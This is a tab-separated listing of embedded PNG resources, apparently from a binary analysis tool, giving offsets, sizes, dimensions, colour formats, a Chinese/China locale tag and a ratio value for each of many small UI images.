PNG	0x2c69f1c	0x3ba	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0115303983228512
PNG	0x2c6a2d8	0x1274	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0023285351397122
PNG	0x2c6b54c	0x139f	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0021899263388414
PNG	0x2c6c8ec	0x380	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0122767857142858
PNG	0x2c6cc6c	0x352	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0129411764705882
PNG	0x2c6cfc0	0x1288	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	Chinese	China	1.002318718381113
PNG	0x2c6e248	0x211	PNG image data, 100 x 34, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0207939508506616
PNG	0x2c6e45c	0x2e4	PNG image data, 100 x 136, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0148648648648648
PNG	0x2c6e740	0x13ad	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0021838395870557
PNG	0x2c6faf0	0x365	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0126582278481013
PNG	0x2c6fe58	0x374	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.012443438914027
PNG	0x2c701cc	0x126b	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0023329798515377
PNG	0x2c71438	0xd4	PNG image data, 3 x 26, 8-bit/color RGBA, non-interlaced	Chinese	China	1.028301886792453
PNG	0x2c7150c	0x1394	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	Chinese	China	1.00219473264166
PNG	0x2c728a0	0x374	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	1.012443438914027
PNG	0x2c72c14	0x3f4	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0108695652173914
PNG	0x2c73008	0x1304	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0022596548890714
PNG	0x2c7430c	0x1397	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0021934197407776
PNG	0x2c756a4	0x373	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0124575311438277
PNG	0x2c75a18	0x33d	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0132689987937273
PNG	0x2c75d58	0x119e	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	Chinese	China	1.002439024390244
PNG	0x2c76ef8	0xa6	PNG image data, 15 x 15, 8-bit/color RGB, non-interlaced	Chinese	China	1.0120481927710843
PNG	0x2c76fa0	0x211	PNG image data, 100 x 34, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0207939508506616
PNG	0x2c771b4	0x2f7	PNG image data, 100 x 136, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0144927536231885
PNG	0x2c774ac	0x16e	PNG image data, 9 x 38, 8-bit/color RGBA, non-interlaced	Chinese	China	1.030054644808743
PNG	0x2c7761c	0x73	PNG image data, 5 x 5, 8-bit/color RGB, non-interlaced	Chinese	China	0.9826086956521739
PNG	0x2c77690	0x117	PNG image data, 11 x 24, 8-bit/color RGBA, non-interlaced	Chinese	China	1.021505376344086
PNG	0x2c777a8	0x67	PNG image data, 2 x 55, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9902912621359223
PNG	0x2c77810	0xce	PNG image data, 90 x 12, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0242718446601942
PNG	0x2c778e0	0xa40	PNG image data, 86 x 240, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9733231707317073
PNG	0x2c78320	0x283	PNG image data, 86 x 8, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0171073094867806
PNG	0x2c785a4	0x93	PNG image data, 5 x 8, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0136054421768708
PNG	0x2c78638	0x96a	PNG image data, 18 x 54, 8-bit/color RGBA, non-interlaced	Chinese	China	1.004564315352697
PNG	0x2c78fa4	0x99b	PNG image data, 18 x 54, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0044733631557543
PNG	0x2c79940	0x2f7	PNG image data, 11 x 45, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0144927536231885
PNG	0x2c79c38	0x1ff	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0215264187866928
PNG	0x2c79e38	0x1f7	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	Chinese	China	1.021868787276342
PNG	0x2c7a030	0xb6	PNG image data, 2 x 20, 8-bit/color RGB, non-interlaced	Chinese	China	1.010989010989011
PNG	0x2c7a0e8	0x94	PNG image data, 11 x 11, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0135135135135136
PNG	0x2c7a17c	0x3e6	PNG image data, 17 x 32, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0110220440881763
PNG	0x2c7a564	0x3e6	PNG image data, 17 x 32, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0110220440881763
PNG	0x2c7a94c	0x315	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0139416983523448
PNG	0x2c7ac64	0x259	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0183028286189684
PNG	0x2c7aec0	0x205	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0212765957446808
PNG	0x2c7b0c8	0x176	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0294117647058822
PNG	0x2c7b240	0x124	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0136986301369864
PNG	0x2c7b364	0xd7	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0
PNG	0x2c7b43c	0x28f	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	Chinese	China	1.016793893129771
PNG	0x2c7b6cc	0x225	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0200364298724955
PNG	0x2c7b8f4	0xdd3	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9960440802486578
PNG	0x2c7c6c8	0x123	PNG image data, 72 x 15, 8-bit/color RGB, non-interlaced	Chinese	China	1.0378006872852235
PNG	0x2c7c7ec	0x10b	PNG image data, 30 x 24, 8-bit/color RGB, non-interlaced	Chinese	China	1.0337078651685394
PNG	0x2c7c8f8	0x83	PNG image data, 35 x 3, 8-bit/color RGB, non-interlaced	Chinese	China	1.0076335877862594
PNG	0x2c7c97c	0x12f	PNG image data, 9 x 9, 8-bit/color RGB, non-interlaced	Chinese	China	1.0264026402640265
PNG	0x2c7caac	0x48d	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	Chinese	China	1.009442060085837
PNG	0x2c7cf3c	0x261	PNG image data, 72 x 22, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0180623973727423
PNG	0x2c7d1a0	0x79	PNG image data, 4 x 4, 8-bit/color RGB, non-interlaced	Chinese	China	0.9752066115702479
PNG	0x2c7d21c	0x1b5	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9931350114416476
PNG	0x2c7d3d4	0x293	PNG image data, 70 x 31, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0166919575113809
PNG	0x2c7d668	0x11a	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9716312056737588
PNG	0x2c7d784	0xde	PNG image data, 22 x 38, 8-bit/color RGB, non-interlaced	Chinese	China	1.027027027027027
PNG	0x2c7d864	0x38d	PNG image data, 55 x 22, 8-bit/color RGBA, non-interlaced	Chinese	China	1.012101210121012
PNG	0x2c7dbf4	0x265	PNG image data, 55 x 22, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0179445350734095
PNG	0x2c7de5c	0x124	PNG image data, 30 x 24, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0308219178082192
PNG	0x2c7df80	0xaa	PNG image data, 2 x 19, 8-bit/color RGB, non-interlaced	Chinese	China	1.011764705882353
PNG	0x2c7e02c	0x12a	PNG image data, 20 x 40, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0268456375838926
PNG	0x2c7e158	0x209	PNG image data, 10 x 28, 8-bit/color RGB, non-interlaced	Chinese	China	1.021113243761996
PNG	0x2c7e364	0xf5	PNG image data, 10 x 28, 8-bit/color RGB, non-interlaced	Chinese	China	1.0244897959183674
PNG	0x2c7e45c	0x9f	PNG image data, 54 x 31, 8-bit/color RGB, non-interlaced	Chinese	China	1.0125786163522013
PNG	0x2c7e4fc	0x148	PNG image data, 54 x 124, 8-bit/color RGB, non-interlaced	Chinese	China	1.0335365853658536
PNG	0x2c7e644	0xac	PNG image data, 7 x 7, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0174418604651163
PNG	0x2c7e6f0	0x8b	PNG image data, 3 x 11, 8-bit/color RGBA, non-interlaced	Chinese	China	1.014388489208633
PNG	0x2c7e77c	0xa4	PNG image data, 9 x 8, 8-bit/color RGB, non-interlaced	Chinese	China	1.0
PNG	0x2c7e820	0x94	PNG image data, 9 x 8, 8-bit/color RGB, non-interlaced	Chinese	China	1.0067567567567568
PNG	0x2c7e8b4	0x87	PNG image data, 15 x 3, 8-bit/color RGB, non-interlaced	Chinese	China	1.0
PNG	0x2c7e93c	0xa6	PNG image data, 7 x 7, 8-bit/color RGB, non-interlaced	Chinese	China	1.0120481927710843
PNG	0x2c7e9e4	0xc5	PNG image data, 7 x 7, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0203045685279188
PNG	0x2c7eaac	0xa54	PNG image data, 13 x 156, 8-bit/color RGBA, non-interlaced	Chinese	China	1.004160363086233
PNG	0x2c7f500	0x1eda	PNG image data, 52 x 336, 8-bit/color RGBA, non-interlaced	Chinese	China	1.001392757660167
PNG	0x2c813dc	0x1cb	PNG image data, 38 x 38, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0239651416122004
PNG	0x2c815a8	0x53b	PNG image data, 30 x 16, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0082150858849888
PNG	0x2c81ae4	0x4f3	PNG image data, 22 x 66, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0086819258089976
PNG	0x2c81fd8	0x11a	PNG image data, 20 x 12, 8-bit/color RGBA, non-interlaced	Chinese	China	1.024822695035461
PNG	0x2c820f4	0x5af	PNG image data, 23 x 154, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0075601374570446
PNG	0x2c826a4	0x3ff	PNG image data, 9 x 132, 8-bit/color RGBA, non-interlaced	Chinese	China	1.010752688172043
PNG	0x2c82aa4	0x461	PNG image data, 23 x 154, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0098126672613739
PNG	0x2c82f08	0x4cc	PNG image data, 10 x 132, 8-bit/color RGBA, non-interlaced	Chinese	China	1.008957654723127
PNG	0x2c833d4	0x474	PNG image data, 23 x 154, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0096491228070175
PNG	0x2c83848	0x3ef	PNG image data, 9 x 132, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0109235352532273
PNG	0x2c83c38	0x44a	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0100182149362478
PNG	0x2c84084	0x41f	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0104265402843602
PNG	0x2c844a4	0x39b	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0119176598049837
PNG	0x2c84840	0x4a1	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	Chinese	China	1.009282700421941
PNG	0x2c84ce4	0x1b3	PNG image data, 15 x 56, 8-bit/color RGBA, non-interlaced	Chinese	China	1.025287356321839
PNG	0x2c84e98	0xf9	PNG image data, 32 x 8, 8-bit/color RGBA, non-interlaced	Chinese	China	1.036144578313253
PNG	0x2c84f94	0x1bfa	PNG image data, 38 x 114, 8-bit/color RGBA, non-interlaced	Chinese	China	1.001535883831332
PNG	0x2c86b90	0xb43	PNG image data, 22 x 132, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0038154699965314
PNG	0x2c876d4	0x609	PNG image data, 11 x 110, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0071197411003237
PNG	0x2c87ce0	0x18ae	PNG image data, 43 x 234, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0017410572966128
PNG	0x2c89590	0x1177	PNG image data, 43 x 135, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0024602997092373
PNG	0x2c8a708	0x25ec	PNG image data, 43 x 330, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0011330861145447
PNG	0x2c8ccf4	0xac7	PNG image data, 22 x 88, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0039869517941282
PNG	0x2c8d7bc	0xa82	PNG image data, 14 x 276, 8-bit/color RGBA, non-interlaced	Chinese	China	1.004089219330855
PNG	0x2c8e240	0xac7	PNG image data, 14 x 276, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0039869517941282
PNG	0x2c8ed08	0x5d3	PNG image data, 15 x 80, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0073775989268947
PNG	0x2c8f2dc	0x575	PNG image data, 15 x 76, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0078740157480315
PNG	0x2c8f854	0x5ea	PNG image data, 15 x 84, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0072655217965654
PNG	0x2c8fe40	0x222	PNG image data, 54 x 69, 8-bit/color RGBA, non-interlaced	Chinese	China	1.02014652014652
PNG	0x2c90064	0x588	PNG image data, 22 x 44, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0077683615819208
PNG	0x2c905ec	0x552	PNG image data, 64 x 26, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0080763582966226
PNG	0x2c90b40	0x532	PNG image data, 64 x 26, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0082706766917293
PNG	0x2c91074	0x624	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	1.006997455470738
PNG	0x2c91698	0xf6f	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0027841052898
PNG	0x2c92608	0x98	PNG image data, 1 x 23, 8-bit/color RGBA, non-interlaced	Chinese	China	1.013157894736842
PNG	0x2c926a0	0x13c1	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0021752026893416
PNG	0x2c93a64	0x37d	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0123180291153415
PNG	0x2c93de4	0x395	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0119956379498365
PNG	0x2c9417c	0xbea	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0036065573770492
PNG	0x2c94d68	0x13b4	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0021808088818398
PNG	0x2c9611c	0x369	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0126002290950744
PNG	0x2c96488	0x3cc	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0113168724279835
PNG	0x2c96854	0xcb2	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0033846153846153
PNG	0x2c97508	0x13ac	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0021842732327244
PNG	0x2c988b4	0x364	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	1.012672811059908
PNG	0x2c98c18	0x3ba	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0115303983228512
PNG	0x2c98fd4	0xbff	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0035818951481603
PNG	0x2c99bd4	0x139f	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0021899263388414
PNG	0x2c9af74	0x380	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0122767857142858
PNG	0x2c9b2f4	0x352	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0129411764705882
PNG	0x2c9b648	0xbf8	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0035900783289817
PNG	0x2c9c240	0x1e3	PNG image data, 100 x 34, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0227743271221532
PNG	0x2c9c424	0x3d2	PNG image data, 100 x 136, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0112474437627812
PNG	0x2c9c7f8	0x13ad	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0021838395870557
PNG	0x2c9dba8	0x365	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0126582278481013
PNG	0x2c9df10	0x374	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.012443438914027
PNG	0x2c9e284	0xb9a	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0037037037037038
PNG	0x2c9ee20	0xd4	PNG image data, 3 x 26, 8-bit/color RGBA, non-interlaced	Chinese	China	1.028301886792453
PNG	0x2c9eef4	0x1394	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	Chinese	China	1.00219473264166
PNG	0x2ca0288	0x374	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	1.012443438914027
PNG	0x2ca05fc	0x3f4	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0108695652173914
PNG	0x2ca09f0	0xc62	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0034700315457412
PNG	0x2ca1654	0x1397	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0021934197407776
PNG	0x2ca29ec	0x373	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0124575311438277
PNG	0x2ca2d60	0x33d	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0132689987937273
PNG	0x2ca30a0	0xb84	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0003392130257802
PNG	0x2ca3c24	0xb1	PNG image data, 15 x 15, 8-bit/color RGB, non-interlaced	Chinese	China	1.0169491525423728
PNG	0x2ca3cd8	0x1da	PNG image data, 100 x 34, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0232067510548524
PNG	0x2ca3eb4	0x375	PNG image data, 100 x 136, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0124293785310734
PNG	0x2ca422c	0x1a5	PNG image data, 9 x 38, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0261282660332542
PNG	0x2ca43d4	0x71	PNG image data, 5 x 5, 8-bit/color RGB, non-interlaced	Chinese	China	0.9911504424778761
PNG	0x2ca4448	0x11a	PNG image data, 11 x 24, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0283687943262412
PNG	0x2ca4564	0x67	PNG image data, 2 x 55, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9902912621359223
PNG	0x2ca45cc	0xe0	PNG image data, 90 x 12, 8-bit/color RGBA, non-interlaced	Chinese	China	1.03125
PNG	0x2ca46ac	0xa40	PNG image data, 86 x 240, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9733231707317073
PNG	0x2ca50ec	0x283	PNG image data, 86 x 8, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0171073094867806
PNG	0x2ca5370	0x93	PNG image data, 5 x 8, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0136054421768708
PNG	0x2ca5404	0x985	PNG image data, 18 x 54, 8-bit/color RGBA, non-interlaced	Chinese	China	1.00451374640952
PNG	0x2ca5d8c	0x9ca	PNG image data, 18 x 54, 8-bit/color RGBA, non-interlaced	Chinese	China	1.00438946528332
PNG	0x2ca6758	0x339	PNG image data, 11 x 45, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0133333333333334
PNG	0x2ca6a94	0x214	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0206766917293233
PNG	0x2ca6ca8	0x22e	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0197132616487454
PNG	0x2ca6ed8	0xb3	PNG image data, 2 x 20, 8-bit/color RGB, non-interlaced	Chinese	China	1.011173184357542
PNG	0x2ca6f8c	0x95	PNG image data, 11 x 11, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9932885906040269
PNG	0x2ca7024	0x414	PNG image data, 17 x 32, 8-bit/color RGBA, non-interlaced	Chinese	China	1.010536398467433
PNG	0x2ca7438	0x414	PNG image data, 17 x 32, 8-bit/color RGBA, non-interlaced	Chinese	China	1.010536398467433
PNG	0x2ca784c	0x1fb	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0216962524654833
PNG	0x2ca7a48	0x179	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0159151193633953
PNG	0x2ca7bc4	0x179	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0053050397877985
PNG	0x2ca7d40	0x114	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0289855072463767
PNG	0x2ca7e54	0x10e	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	Chinese	China	1.011111111111111
PNG	0x2ca7f64	0xb6	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0054945054945055
PNG	0x2ca801c	0x17e	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0287958115183247
PNG	0x2ca819c	0x15c	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0201149425287357
PNG	0x2ca82f8	0xf6f	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0027841052898
PNG	0x2ca9268	0x143	PNG image data, 72 x 15, 8-bit/color RGB, non-interlaced	Chinese	China	1.0340557275541795
PNG	0x2ca93ac	0x110	PNG image data, 30 x 24, 8-bit/color RGB, non-interlaced	Chinese	China	1.0294117647058822
PNG	0x2ca94bc	0x87	PNG image data, 35 x 3, 8-bit/color RGB, non-interlaced	Chinese	China	1.0074074074074073
PNG	0x2ca9544	0x13b	PNG image data, 9 x 9, 8-bit/color RGB, non-interlaced	Chinese	China	1.0253968253968253
PNG	0x2ca9680	0x4a1	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	Chinese	China	1.009282700421941
PNG	0x2ca9b24	0x25e	PNG image data, 72 x 22, 8-bit/color RGBA, non-interlaced	Chinese	China	1.018151815181518
PNG	0x2ca9d84	0x79	PNG image data, 4 x 4, 8-bit/color RGB, non-interlaced	Chinese	China	0.9752066115702479
PNG	0x2ca9e00	0x167	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9972144846796658
PNG	0x2ca9f68	0x278	PNG image data, 70 x 31, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0174050632911393
PNG	0x2caa1e0	0x11a	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9680851063829787
PNG	0x2caa2fc	0xd4	PNG image data, 22 x 38, 8-bit/color RGB, non-interlaced	Chinese	China	1.0235849056603774
PNG	0x2caa3d0	0x38d	PNG image data, 55 x 22, 8-bit/color RGBA, non-interlaced	Chinese	China	1.012101210121012
PNG	0x2caa760	0x265	PNG image data, 55 x 22, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0179445350734095
PNG	0x2caa9c8	0x11a	PNG image data, 30 x 24, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0319148936170213
PNG	0x2caaae4	0xaa	PNG image data, 2 x 19, 8-bit/color RGB, non-interlaced	Chinese	China	1.011764705882353
PNG	0x2caab90	0x12a	PNG image data, 20 x 40, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0268456375838926
PNG	0x2caacbc	0x209	PNG image data, 10 x 28, 8-bit/color RGB, non-interlaced	Chinese	China	1.021113243761996
PNG	0x2caaec8	0xf5	PNG image data, 10 x 28, 8-bit/color RGB, non-interlaced	Chinese	China	1.0244897959183674
PNG	0x2caafc0	0xa6	PNG image data, 54 x 31, 8-bit/color RGB, non-interlaced	Chinese	China	1.0180722891566265
PNG	0x2cab068	0x150	PNG image data, 54 x 124, 8-bit/color RGB, non-interlaced	Chinese	China	1.0327380952380953
PNG	0x2cab1b8	0xac	PNG image data, 7 x 7, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0174418604651163
PNG	0x2cab264	0x8b	PNG image data, 3 x 11, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0
PNG	0x2cab2f0	0x98	PNG image data, 9 x 8, 8-bit/color RGB, non-interlaced	Chinese	China	1.006578947368421
PNG	0x2cab388	0x91	PNG image data, 9 x 8, 8-bit/color RGB, non-interlaced	Chinese	China	1.006896551724138
PNG	0x2cab41c	0x7d	PNG image data, 15 x 3, 8-bit/color RGB, non-interlaced	Chinese	China	1.008
PNG	0x2cab49c	0xa6	PNG image data, 7 x 7, 8-bit/color RGB, non-interlaced	Chinese	China	1.0120481927710843
PNG	0x2cab544	0xbd	PNG image data, 7 x 7, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0105820105820107
PNG	0x2cab604	0xa07	PNG image data, 13 x 156, 8-bit/color RGBA, non-interlaced	Chinese	China	1.004285157771718
PNG	0x2cac00c	0x1de1	PNG image data, 52 x 336, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0014380964832004
PNG	0x2caddf0	0x1be	PNG image data, 38 x 38, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0246636771300448
PNG	0x2cadfb0	0x53b	PNG image data, 30 x 16, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0082150858849888
PNG	0x2cae4ec	0x46c	PNG image data, 22 x 66, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0097173144876326
PNG	0x2cae958	0xaf	PNG image data, 20 x 12, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0171428571428571
PNG	0x2caea08	0x701	PNG image data, 23 x 154, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0061349693251533
PNG	0x2caf10c	0x498	PNG image data, 9 x 132, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0093537414965987
PNG	0x2caf5a4	0x5c1	PNG image data, 23 x 154, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0074677528852682
PNG	0x2cafb68	0x539	PNG image data, 10 x 132, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0082273747195214
PNG	0x2cb00a4	0x5c7	PNG image data, 23 x 154, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0074374577417173
PNG	0x2cb066c	0x47f	PNG image data, 9 x 132, 8-bit/color RGBA, non-interlaced	Chinese	China	1.009556907037359
PNG	0x2cb0aec	0x585	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0077848549186128
PNG	0x2cb1074	0x546	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0081481481481482
PNG	0x2cb15bc	0x4e1	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0088070456365092
PNG	0x2cb1aa0	0x5b0	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	Chinese	China	1.007554945054945
PNG	0x2cb2050	0x1b3	PNG image data, 15 x 56, 8-bit/color RGBA, non-interlaced	Chinese	China	1.025287356321839
PNG	0x2cb2204	0xea	PNG image data, 32 x 8, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0299145299145298
PNG	0x2cb22f0	0x1ad9	PNG image data, 38 x 114, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0016004655899897
PNG	0x2cb3dcc	0xb43	PNG image data, 22 x 132, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0038154699965314
PNG	0x2cb4910	0x609	PNG image data, 11 x 110, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0071197411003237
PNG	0x2cb4f1c	0x18ae	PNG image data, 43 x 234, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0017410572966128
PNG	0x2cb67cc	0x1177	PNG image data, 43 x 135, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0024602997092373
PNG	0x2cb7944	0x25ec	PNG image data, 43 x 330, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0011330861145447
PNG	0x2cb9f30	0xad3	PNG image data, 22 x 88, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0039696860339227
PNG	0x2cbaa04	0xbc8	PNG image data, 14 x 276, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0036472148541113
PNG	0x2cbb5cc	0xc2e	PNG image data, 14 x 276, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0035279025016035
PNG	0x2cbc1fc	0x5dd	PNG image data, 15 x 80, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0073284477015323
PNG	0x2cbc7dc	0x597	PNG image data, 15 x 76, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0076869322152342
PNG	0x2cbcd74	0x5f8	PNG image data, 15 x 84, 8-bit/color RGBA, non-interlaced	Chinese	China	1.007198952879581
